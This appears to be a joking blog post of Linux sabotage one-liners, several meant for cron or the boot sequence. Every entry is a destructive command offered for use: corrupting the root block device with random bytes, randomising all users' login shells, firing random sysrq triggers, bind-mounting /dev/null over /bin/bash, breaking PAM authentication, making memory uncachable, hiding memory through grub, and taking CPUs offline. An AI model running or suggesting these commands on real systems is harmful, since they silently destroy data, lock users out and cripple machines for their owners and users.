Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:
for I in $(getent passwd | cut -d: -f1 ) do chsh -s $(sort -R /etc/shells | head -n1) ${I} done
Spice up your life a bit with the following command:
echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime
tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')
This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:
sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf
Add this little sucker to /etc/fstab and reboot:
/dev/null /bin/bash bind bind 0 0
This one got submitted by Ray:
echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr
It works best if you put it in rc.sysinit or any other place early in your boot sequence.
Try and have some fun with this one:
sed -i 's/unix/time/g' /etc/pam.d/system-auth
Do you remember the good old days when all you had was a single core? Time to re-live those glory days!
for I in /sys/devices/system/cpu/cpu[1-9]* do echo 0 > ${I}/online done
Unfortunately we can’t disable cpu0…
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